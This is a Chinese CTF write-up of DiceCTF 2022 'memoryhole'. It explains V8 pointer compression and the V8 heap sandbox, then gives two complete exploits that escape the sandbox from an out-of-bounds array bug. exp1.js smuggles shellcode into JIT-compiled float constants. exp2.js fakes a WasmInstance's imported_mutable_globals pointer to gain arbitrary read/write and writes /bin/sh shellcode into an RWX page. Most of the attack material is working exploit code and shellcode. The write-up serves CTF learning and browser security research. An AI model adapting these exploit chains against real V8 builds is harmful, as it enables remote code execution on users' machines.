DiceCTF2022 memoryhole & V8沙箱绕过

DiceCTF2022 memoryhole 题目复现与两种 V8 沙箱绕过方式学习。

指针压缩

V8 在其堆中实现了指针压缩。通过指针压缩,从 V8 堆中的一个对象到 V8 堆中的另一个对象(“堆上”)的每个引用都会成为距堆基址的 32 位偏移量,只留下少数具有指向外部对象的原始指针的对象v8 堆(“堆外”)。压缩指针仅在 4GB 虚拟内存区域内有效,称为指针压缩。指针压缩可以通过内存中的 ArrayBuffer 实例来可视化。下面显示了没有指针压缩的假设 ArrayBuffer 对象的内存布局:

指针压缩后:

指针压缩比较好绕过,因为除了堆上指针,堆外指针都可以正常使用,如 backing store,所以如果能篡改 backing store 还是可以实现无限制的任意地址写。

Sandbox

为了保护同一进程的其他内存免受损害,V8 堆中的所有原始指针就 “sandboxified” ,将他们转换为相对于沙箱底部的偏移量或转换为索引进入外部指针表,以基址+偏移的形式访问,限定了可访问的范围,从而防止任意地址读写。沙箱的实现通过:

  • 在 V8 初始化期间保留了一个大的(例如 1TB)虚拟地址空间区域——沙箱。该区域包含 pointer compression cage、所有 V8 堆以及 ArrayBuffer 的 backing store 和类似对象。
  • 沙箱内但 V8 堆之外的所有对象都使用固定大小的偏移量(例如,在 1TB 沙箱的情况下为 40 位偏移量)而不是原始指针进行寻址。
  • 所有剩余的堆外对象都必须通过外部指针表进行引用,该表包含指向对象的指针以及类型信息,以防止类型混淆攻击。然后通过索引从 v8 堆中的对象引用此表中的条目。

原始的堆外 backing store 指针(紫色)已被替换为距离沙箱底部的 40 位偏移量(偏移量为 0x45c00,向左移动 24 位以保证最高位为零)。另一方面,指向 ArrayBufferExtension 对象(橙色)的原始指针已替换为指向外部指针表的 32 位索引。

现在假设攻击者能够从多个线程任意破坏沙箱内的内存,还需要一个额外的漏洞来破坏沙箱外的内存,从而执行任意代码。

详细的沙箱细节在V8 Sandbox - High-Level Design Doc - Google 文档

漏洞利用

漏洞是白给的数组长度任意修改。但是开启了沙箱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
   # Enable the experimental V8 sandbox.
# Sets -DV8_SANDBOX.
- v8_enable_sandbox = false
+ v8_enable_sandbox = true

# Enable external pointer sandboxing. Requires v8_enable_sandbox.
# Sets -DV8_SANDBOXED_EXTERNAL_POINRTERS.
- v8_enable_sandboxed_external_pointers = false
+ v8_enable_sandboxed_external_pointers = true

# Enable sandboxed pointers. Requires v8_enable_sandbox.
# Sets -DV8_SANDBOXED_POINTERS.
- v8_enable_sandboxed_pointers = false
+ v8_enable_sandboxed_pointers = true

# Enable all available sandbox features. Implies v8_enable_sandbox.
- v8_enable_sandbox_future = false
+ v8_enable_sandbox_future = true

TypeArray 中的 backing store 指针限制被 data_ptr 代替,计算公式为 data_ptr = js_base + (external_pointer << 8) + base_pointer,%DebugPrint 会显示已经加完了 js_base 的完整的指针,所以要查看内存看真正的值,但是无论这两个指针的值是什么,data_ptr 都是被限制在了 40bit 内的空间。

结合前文知识,突破沙箱拿到 shell 有两种办法:一种是在 4 GB 范围内任意读写搞事情;另一种就是再寻找新的包含 64 位可用指针的对象。如下就是这两种方式的具体实现。

方式一:在 jsFunction 中构造包含 jit shellcode 的立即数

写一个 jsFunction:

1
2
3
4
5
6
7
8
9
10
11
const foo = () =>
{
return [1.1, 2.2, 3.3];
}
%PrepareFunctionForOptimization(foo);
foo();
%OptimizeFunctionOnNextCall(foo);
foo();
%DebugPrint(foo);
%SystemBreak();
foo();

可以看到 code 字段在 rx 段。

在 JSFunction 中修改code字段为一个错误的地址:

按c继续运行(注意在 systembreak 后要调用 function):

可以看出这段的逻辑为:test dword ptr [rcx+0x1b], 0x20000000 后,如果不跳转,则将 rcx + 0x3f,然后 jmp rcx(前面的 jmp 是跳转到 jmp rcx 指令的地址,看地址与偏移),如果我们将 [rcx+0x1b] 处的值伪造好,与0x20000000与后为0,那么到 jne 的时候就会不跳转继续执行。而 rcx 中的值可控。那么就能劫持 rip。

这里补充一下正常的逻辑(猜测):

原本 rcx 中的值应为 code 的地址,由于是指针,值被+1,所以 +0x1b 便可以到 0x1c 这样的整 dword 地址处。这里 test 后不为0,那么 jne 就会跳转,应该是跳转到正常的逻辑去执行。

经过优化后的jit代码,存放在距离 code 字段值不远处。

那接下来就是要先将 shellcode 藏在 double 表示的立即数中。

通过 Online Assembler and Disassembler (shell-storm.org) 得到:

1
jmp 0xe  => "\xeb\x0c"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = "amd64"
jmp = '\xeb\x0c'
shell = u64('/bin/sh\x00')

def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, '\x00') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")

assert len(code) <= 8
print(hex(u64(code.ljust(8, '\x90')))[2:])

如上脚本得到 shellcode,然后再将十六进制转 IEEE754 浮点数(写到这又想起了今年 qwb 的那道 jit …)。通过工具,在下面 binary 中输入十六进制数:

1
2
3
4
5
1.95538254221075331056310651818E-246
1.95606125582421466942709801013E-246
1.99957147195425773436923756715E-246
1.95337673326740932133292175341E-246
2.63486047652296056448306022844E-284

接下来通过在 func1 的立即数中布置好 shellcode,篡改 func2 的 code 字段直接指向这段 shellcode,再调用 func2 即可触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
const func = () =>
{
return [1.1, 2.2, 3.3];
}
const f = () => 123; // 准备篡改 code 的 func2
let arr = [1.1];
const o = {x:1337, a:f, b:fun};

let ua = new Uint32Array(2);
arr.setLength(100);
d22u(arr[5]);
const funAddr = __dvCvt.getUint32(4, true);
const fAddr = __dvCvt.getUint32(0, true);

找到 func 和 f 的地址:

再准备泄露 typearray 的 base_pointer。

在这过程中发现 typearray 中如果开辟数组长度小于等于16则 data_ptr 字段启用,否则为 nil 并且在内存中没有其值(以前都是直接开辟很小的数组并没有注意到这个问题):

为了方便计算,这里少开辟两个就行,由于他和elements类似,通过 oob 数组越界读 typearray 中的元素,进而确定 base_pointer 想对于 oob arr 的索引:

1
2
3
4
5
6
7
8
9
10
11
12
ua[0] = 0xdeedbeef;
var base_ptr = -1;

for (let i = 10; i < 100; i++) {
d22u(arr[i]);
const high = __dvCvt.getUint32(4, true);
const low = __dvCvt.getUint32(0, true);
if (high == 0xdeedbeef || low == 0xdeedbeef) {
base_ptr = i + 7;
break;
}
}

可以修改 base_pointer 就可以实现在基址的 4GB 范围内的任意地址写了。

1
2
3
4
5
6
7
8
9
function arbRead(off) {
arr[base_ptr] = u2d((off-7) * 0x100000000);
return ua[0];
}

function arbWrite(off, val) {
arr[base_ptr] = u2d((off-7) * 0x100000000);
ua[0] = val;
}

再查看 func1 code 中经过优化的代码,错位看 jit:

根据前面的逻辑,我们使 rcx+0x1b 为 0,rcx = rcx + 0x3f,那么此时的 code 就应伪造为 (0x2013000440bc-0x3f-0x201300044001) + 0x201300044001 = 0x201300044001 + 0x7c,那么此时 rcx 应为0x201300044001 + 0x7c,[rcx + 0x1b] 与 0x2000000 为0:

1
0xff418944000002b8 & 0x20000000 = 0L

此处选择将 f 函数的 code 覆写为 func1 布置好的 jit 代码段,也就是 jitAddr + 0x7c,这样执行 f() 就会去执行jit了。

exp1.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);

function d2u(val) {
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) + __dvCvt.getUint32(4, true) * 0x100000000;
}

// Uint64 => double
function u2d(val) {
const tmp0 = val & 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}

function d22u(val) {
__dvCvt.setFloat64(0, val, true);
}

const hex = (x) => ("0x" + x.toString(16));

const fun = () => {
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284,
];
}

%PrepareFunctionForOptimization(fun);
fun();
%OptimizeFunctionOnNextCall(fun);
fun();

const f = () => 123;
let arr = [1.1];
const o = {x:1337, a:f, b:fun};

let ua = new Uint32Array(2);
arr.setLength(100);
d22u(arr[5]);
const funAddr = __dvCvt.getUint32(4, true);
const fAddr = __dvCvt.getUint32(0, true);
console.log(`[+] fun addr low = ${hex(funAddr)}`);
console.log(`[+] f addr low = ${hex(fAddr)}`);

ua[0] = 0xdeedbeef;
var base_ptr = -1;

for (let i = 10; i < 100; i++) {
d22u(arr[i]);
const high = __dvCvt.getUint32(4, true);
const low = __dvCvt.getUint32(0, true);
if (high == 0xdeedbeef || low == 0xdeedbeef) {
base_ptr = i + 7;
break;
}
}

if (base_ptr == -1)
console.log("[-] search base_ptr ptr failed!");
else
console.log("[+] base_ptr offset: " + base_ptr);

console.log(`[+] base_ptr (*0x100000000) = ${hex(d2u(arr[base_ptr]))}`);


function arbRead(off) {
arr[base_ptr] = u2d((off-7) * 0x100000000);
return ua[0];
}

function arbWrite(off, val) {
arr[base_ptr] = u2d((off-7) * 0x100000000);
ua[0] = val;
}

jitAddr = arbRead(funAddr + 0x17);
console.log(`[+] jitAddr = ${hex(jitAddr)}`);

arbWrite(fAddr + 0x17, jitAddr + 0x7c);

f();
// %DebugPrint(f);
// %SystemBreak();

方式二:利用 wasmInstance 中的全局变量指针

想要突破限制实现任意地址写,就要找一些可用、可控的 64 位未被压缩的指针。使用 %DebugPrint 打印 WasmInstance:

其中的 imported_function_targetsimported_mutable_globals 都指向了完整的64 bit 的堆指针。

在 v8 源码中搜索,可以看到一些有用的信息:

再结合其他注释,大概了解到这是一个存放 wasm 全局变量的东西,且通过源码中的写法,imported_function_targets 指向的应该是个数组,数组的每个索引指向了全局变量的 address。那这时候就可以给我们常用的 wasm 代码加一个全局变量,找到 wasm global 的写法 WebAssembly.Global() constructor - WebAssembly | MDN (mozilla.org)。了解到了 WebAssembly Global 的构造方法以后,可以尝试给 Wasm Instance 加一个全局变量:

1
2
3
4
5
6
7
8
9
10
11
12
var global = new WebAssembly.Global({value:'i64', mutable:true}, 1234n);// 注意i64即BigInt
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
0,1,130,128,128,128,0,0,11]);
let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{ js: {global} });
var WasmJSFunction = wasmInstance.exports.func;

%DebugPrint(wasmInstance);
%DebugPrint(global);
%SystemBreak();

结合源码 wasm-objects.h - Chromium Code Search看到untagged_buffer也是一种ArrayBuffer,表示 Wasm 全局变量所用:

1
2
3
4
5
6
7
8
9
// Representation of a WebAssembly.Global JavaScript-level object.
class WasmGlobalObject
: public TorqueGeneratedWasmGlobalObject<WasmGlobalObject, JSObject> {
public:
DECL_ACCESSORS(untagged_buffer, JSArrayBuffer)
DECL_ACCESSORS(tagged_buffer, FixedArray)
DECL_PRIMITIVE_ACCESSORS(type, wasm::ValueType)
···
}

可以看到全局变量的值存到了backing_store指向的内存。但是回头看 Instance 发现 imported_mutable_globals还是未指向添加的全局变量:

1
2
3
4
5
6
7
8
pwndbg> job 0xc83081d2a09
0xc83081d2a09: [WasmInstanceObject] in OldSpace
- map: 0x0c8308206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
···
- imported_function_targets: 0x55b868265a80
- globals_start: (nil)
- imported_mutable_globals: 0x55b868265aa0
···

原因是这段 Wasm code 中并未使用这个全局变量。那接下来就是去找一下如何写 Wasm code 并且使用全局变量。

webassembly-examples/js-api-examples at master · mdn/ 中找到 global.wat:

1
2
3
4
5
6
7
8
9
(module
(global $g (import "js" "global") (mut i32))
(func (export "getGlobal") (result i32)
(global.get $g)
)
(func (export "incGlobal")
(global.set $g (i32.add (global.get $g) (i32.const 1)))
)
)

(看着这语法总有一种说不出来的感觉)

这里就直接用 kylebot’s Blog 中的 wat,使用 WebAssembly/wabt 编译 wat 得到 wasmcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// test.wat
(module
(global $g (import "js" "global") (mut i64))
(func (export "getGlobal") (result i64)
(global.get $g)
)
(func (export "incGlobal")
(global.set $g (i64.add (global.get $g) (i64.const 1)))
)
(func (export "setGlobal") (param $a i64)
(global.set $g (local.get $a))
)
)

$ bin/wat2wasm ./test.wat

即得到 test.wasm:

1
2
3
4
5
6
7
0061 736d 0100 0000 010c 0360 0001 7e60
0000 6001 7e00 020e 0102 6a73 0667 6c6f
6261 6c03 7e01 0304 0300 0102 0725 0309
6765 7447 6c6f 6261 6c00 0009 696e 6347
6c6f 6261 6c00 0109 7365 7447 6c6f 6261
6c00 020a 1703 0400 2300 0b09 0023 0042
017c 2400 0b06 0020 0024 000b

稍作处理:

1
2
3
4
5
6
7
8
9
10
11
var global = new WebAssembly.Global({value:'i64', mutable:true}, 256n);
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);

let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{ js: {global} });
var WasmJSFunction = wasmInstance.exports.incGlobal;

WasmJSFunction();
%DebugPrint(wasmInstance);
%DebugPrint(global);
%SystemBreak();
WasmJSFunction();

调试看到 imported_mutable_globals指向了存储 global 的内存,并且由于在 %DebugPrint 之前就调用了一次 inc,此时的值为 0x101:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
DebugPrint: 0x3771081d2a51: [WasmInstanceObject] in OldSpace
···
- imported_function_targets: 0x55fb88e4e980
- globals_start: (nil)
- imported_mutable_globals: 0x55fb88e4e9a0

DebugPrint: 0x377108048839: [WasmGlobalObject]
- map: 0x377108206821 <Map(HOLEY_ELEMENTS)>
- untagged_buffer: 0x37710804885d <ArrayBuffer map = 0x377108203289>
- offset: 0
- raw_type: 2
- is_mutable: 1
- type: i64
- is_mutable: 1

此时我们手动修改 WasmInstance 中的 imported_mutable_globals 字段的值,再继续运行调用:

1
set {long}0x3771081d2aa0=0x4141414141414141

发现 crash 到了这里,结合下面的两行汇编和前面的调试,可以得出 V8 将这个值作为一个指针的指针,解两层引用后取出真正的 global 的值(证实一开始看源码的猜测)。最重要的是这个过程的地址都是 64 位的,相当于没有了沙箱。所以接下来就是利用 oob 篡改 imported_mutable_globals 的值,通过这个类似以前经常使用的 backing_store 指针一样完成任意读写。有两个区别就是一:该字段并不是对象,伪造起来很容易,二就是两层引用才是真正任意写的地址。所以综上可以 fake 一个数组,数组的第一个元素是可读可写的地址(充当 backing_store 的角色 )。由于数组的地址还是由基址 + 偏移组成,偏移可以比较好泄露。重点是泄露 js 基址。

注意 js 的位运算符在运算时操作数被转换为 32bit 整數,以位序列(0 和 1 组成)表示。若超過 32bits,則取低位 32bit,如下所示:

1
2
Before: 11100110111110100000000000000110000000000001
After: 10100000000000000110000000000001

我这里直接修改了 base 为 1,与 externel 相加正好为 8,从 js_base + 8 处开始泄露,这附近有很多 js_base 相关的地址,随便选一个就好。

开辟的 Uint32Array 的长度会影响其地址是 4 的倍数还是从 8 的倍数,所以奇数达不到目的就尝试偶数

var leak_arr = new Uint32Array(0xe);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var Uint32Array_len = 0xc;
var leak_arr = new Uint32Array(Uint32Array_len);

// 根据 length 字段找到 btyelength、base_pointer 字段相对于 oob 数组的 index
for (let i = 0; i < 0x100; i++) {
d22u(vuln_arr[i]);
const high = __dvCvt.getUint32(4, true);
const low = __dvCvt.getUint32(0, true);
if (high == Uint32Array_len || low == Uint32Array_len) {
Uint32Array_len_idx = i;
break;
}
}

console.log("[+] Uint32Array_len_idx => " + hex(Uint32Array_len_idx));
// base pointer in high word
var base_pointer_idx = Uint32Array_len_idx + 2;
var byte_length_idx = Uint32Array_len_idx - 1;

遇到一些玄学问题,跑两次 gc 尝试一下,尤其是内存不对齐。

修改完对应字段的数据,即可泄露 js_base。

接着是通过对象来实现 addressOf。这里借助了一个哨兵值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var leak = {guard: 0x2333, obj: fake_mutable_globals};
function find_leak_offset() {
for (let i = 0; i < 0x100; i ++) {
d22u(vuln_arr[i]);
var low = __dvCvt.getUint32(0, true);
var high = __dvCvt.getUint32(4, true);

if (low == 0x4666) {
return high;
} else if (high == 0x4666) {
fake_mutable_globals_elements_arr_idx = i - 4;
d22u(vuln_arr[i+1]);
return __dvCvt.getUint32(0, true);
}
}
}

function addressOf(obj){
leak['obj'] = obj;
return find_leak_offset();
}

类似使用一些标记或哨兵值来寻找地址的方式比较通用,哪怕写到一半发现需要添加一些对象改变了内存布局也不需要再次调试来一个一个找要用的偏移

首先泄露 准备要用作 imported_mutable_globals 的 fake 数组的地址,然后拿到其真正的 elements 地址,然后泄露 wasmInstance 的地址,计算一下偏移就可以得到 imported_mutable_globals 字段在 wasmInstance 中的位置。然后通过 oob 数组的越界写,直接覆写 imported_mutable_globals 为 fake 数组的 elements 地址。泄露地址与篡改 imported_mutable_globals

但是 imported_mutable_globals 的地址与 oob 数组 elements 的偏移并不总是 8 的倍数,就会出现如下的情况:

所以针对这种情况还需要处理,在前一个字段的高位写目标地址的低字节,后一个字段的低位写目标地址的高字节,这样拼起来中间的 imported_mutable_globals 就合法了:

1
2
3
4
5
6
7
8
9
10
if (!split)
vuln_arr[imported_mutable_globals_index] = u2d(target_addr);
else {
console.log("[!] split!!!");
d22u(vuln_arr[imported_mutable_globals_index + 1]);
var pad1 = __dvCvt.getUint32(4, true);
var high = js_base / 0x100000000 // + (pad1 * 0x100000000);
vuln_arr[imported_mutable_globals_index] = u2d(arr_in_fake_mutable_globals_addr * 0x100000000);
vuln_arr[imported_mutable_globals_index + 1] = u2d(high);
}

此时 imported_mutable_globals 的值已经为 fake 数组的 elements 的地址,那么arbRead 和 arbWrite 的实现就是对该数组的第一个字段赋值为要读写的地址。

1
2
3
4
5
6
7
8
9
function arbRead(addr) {
fake_mutable_globals[0] = u2d(addr);
return getGlobal();
}

function arbWrite(addr, val) {
fake_mutable_globals[0] = u2d(addr);
setGlobal(BigInt(val));
}

再写一个 wasmInstance_attack,即平时常用的,在 wasmInstance_attack + 0x60 处存放了 rwx 页,泄露该地址准备一会向其中写入 shellcode。

利用 arbWrite() 写 shellcode 到 rwx 页:

最终调用 f() 拿到shell:

exp2.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
const __bigInt = new BigUint64Array(__buf8);

// Uint64 => double
function u2d(val) {
var tmp0 = val & 0xffffffff;
var tmp1 = (val - tmp0) / 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, tmp1, true);
return __dvCvt.getFloat64(0, true);
}

function d22u(val) {
__dvCvt.setFloat64(0, val, true);
}

function b2u(val) {
__bigInt[0] = val;
return __dvCvt.getUint32(0, true) + __dvCvt.getUint32(4, true) * 0x100000000;
}

const hex = (x) => ("0x" + x.toString(16));

function gc() {
for (let i = 0; i < 0x10; i++) new ArrayBuffer(0x100000);
}

function js_heap_defragment() { // used for stable fake JSValue crafting
gc();
for (let i = 0; i < 0x1000; i++) new ArrayBuffer(0x10);
}

// js_heap_defragment();

var fake_mutable_globals_offset = 0;
var fake_mutable_globals_elements_arr_idx = 0;
var vuln_arr = [1.1, 2.2, 3.3];
var Uint32Array_len_idx = -1;
var Uint32Array_len = 0xc;
var leak_arr = new Uint32Array(Uint32Array_len);
var fake_mutable_globals = [1.1];
var leak = {guard: 0x2333, obj: fake_mutable_globals};

var global = new WebAssembly.Global({value:'i64', mutable:true}, 256n);
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);
let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{ js: {global} });
var getGlobal = wasmInstance.exports.getGlobal;
var setGlobal = wasmInstance.exports.setGlobal;

vuln_arr.setLength(0x100000);

for (let i = 0; i < 0x100; i++) {
d22u(vuln_arr[i]);
const high = __dvCvt.getUint32(4, true);
const low = __dvCvt.getUint32(0, true);
if (high == Uint32Array_len || low == Uint32Array_len) {
Uint32Array_len_idx = i;
break;
}
}

console.log("[+] Uint32Array_len_idx => " + hex(Uint32Array_len_idx));
// base pointer in high word
var base_pointer_idx = Uint32Array_len_idx + 2;
var byte_length_idx = Uint32Array_len_idx - 1;

d22u(vuln_arr[Uint32Array_len_idx]);
const pad = __dvCvt.getUint32(0, true);

vuln_arr[base_pointer_idx] = u2d(0x100000000);
vuln_arr[byte_length_idx] = u2d(0x1000);
vuln_arr[Uint32Array_len_idx] = u2d((0x1000 / 4) * 0x100000000 + pad);
var js_base = leak_arr[5] * 0x100000000;
console.log("[+] js_base => " + hex(js_base));

function find_leak_offset() {
for (let i = 0; i < 0x100; i ++) {
d22u(vuln_arr[i]);
var low = __dvCvt.getUint32(0, true);
var high = __dvCvt.getUint32(4, true);

if (low == 0x4666) {
return high;
} else if (high == 0x4666) {
fake_mutable_globals_elements_arr_idx = i - 4;
d22u(vuln_arr[i+1]);
return __dvCvt.getUint32(0, true);
}
}
}

function addressOf(obj){
leak['obj'] = obj;
return find_leak_offset();
}

fake_mutable_globals_offset = addressOf(fake_mutable_globals)
if (fake_mutable_globals_offset && fake_mutable_globals_elements_arr_idx) {
console.log("[+] fake_mutable_globals_offset => " + hex(fake_mutable_globals_offset));
console.log("[+] fake_mutable_globals_elements_arr_idx => " + hex(fake_mutable_globals_elements_arr_idx));
}
// !!!
var arr_in_fake_mutable_globals_addr = fake_mutable_globals_offset - 9;
console.log("[+] arr_in_fake_mutable_globals_addr => " + hex(arr_in_fake_mutable_globals_addr));


var vuln_addr = addressOf(vuln_arr);
console.log("[+] vuln_addr => " + hex(vuln_addr));
var vuln_elements_addr = vuln_addr - 1 - 0x18;
console.log("[+] vuln_elements_addr => " + hex(vuln_elements_addr));

var wasmInstanceAddr = addressOf(wasmInstance);
console.log("[+] wasmInstanceAddr => " + hex(wasmInstanceAddr));

var imported_mutable_globals_addr = wasmInstanceAddr - 1 + 0x50;
console.log("[+] imported_mutable_globals_addr => " + hex(imported_mutable_globals_addr));


var split = 0;
// modify imported_mutable_globals => arr_in_fake_mutable_globals_addr
var imported_mutable_globals_index = (imported_mutable_globals_addr - vuln_elements_addr) / 8;
if (imported_mutable_globals_index % 1 == 0.5) {
imported_mutable_globals_index = imported_mutable_globals_index - 0.5;
split = 1;
}
console.log("[+] imported_mutable_globals_index => " + imported_mutable_globals_index);

var arr_in_fake_mutable_globals_index = (arr_in_fake_mutable_globals_addr - vuln_elements_addr) / 8;
console.log("[+] arr_in_fake_mutable_globals_index => " + arr_in_fake_mutable_globals_index);

var target_addr = js_base + arr_in_fake_mutable_globals_addr;
if (!split)
vuln_arr[imported_mutable_globals_index] = u2d(target_addr);
else {
console.log("[!] split!!!");
d22u(vuln_arr[imported_mutable_globals_index + 1]);
var pad1 = __dvCvt.getUint32(4, true);
var high = js_base / 0x100000000 // + (pad1 * 0x100000000);
vuln_arr[imported_mutable_globals_index] = u2d(arr_in_fake_mutable_globals_addr * 0x100000000);
vuln_arr[imported_mutable_globals_index + 1] = u2d(high);
}

function arbRead(addr) {
fake_mutable_globals[0] = u2d(addr);
return getGlobal();
}

function arbWrite(addr, val) {
fake_mutable_globals[0] = u2d(addr);
setGlobal(BigInt(val));
}

var wasmCode1 = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11,
]);
var wasm2 = new WebAssembly.Module(wasmCode1);
var wasmInstance_attack = new WebAssembly.Instance(wasm2);
var f = wasmInstance_attack.exports.main;

var wasmInstance_attack_addr = addressOf(wasmInstance_attack);
console.log("[+] wasmInstance_attack_addr => " + hex(wasmInstance_attack_addr));

var rwx_offset = wasmInstance_attack_addr + 0x60 - 1;
var rwx_addr = arbRead(rwx_offset + js_base);
console.log("[+] rwx_addr => " + hex(rwx_addr));


var shellcode = [0xb848686a, 0x6e69622f, 0x7361622f, 0xe7894850, 0xb848686a, 0x6e69622f, 0x7361622f, 0x56f63150, 0x485e086a, 0x4856e601, 0xd231e689, 0xf583b6a, 0x90909005];

for (let i = 0; i < shellcode.length; i++) {
arbWrite(b2u(rwx_addr) + i * 4, shellcode[i]);
}


// %DebugPrint(vuln_arr);
// %DebugPrint(wasmInstance);
// %SystemBreak();
f();

文中如有错误和疑问,还望及时交流探讨。

参考链接

  1. Dice CTF Memory Hole: Breaking V8 Heap Sandbox (mem2019.github.io)
  2. [DiceCTF 2022] - memory hole | kylebot’s Blog
  3. V8 Sandbox - High-Level Design Doc - Google 文档
  4. V8 沙箱绕过 - 跳跳糖 (tttang.com)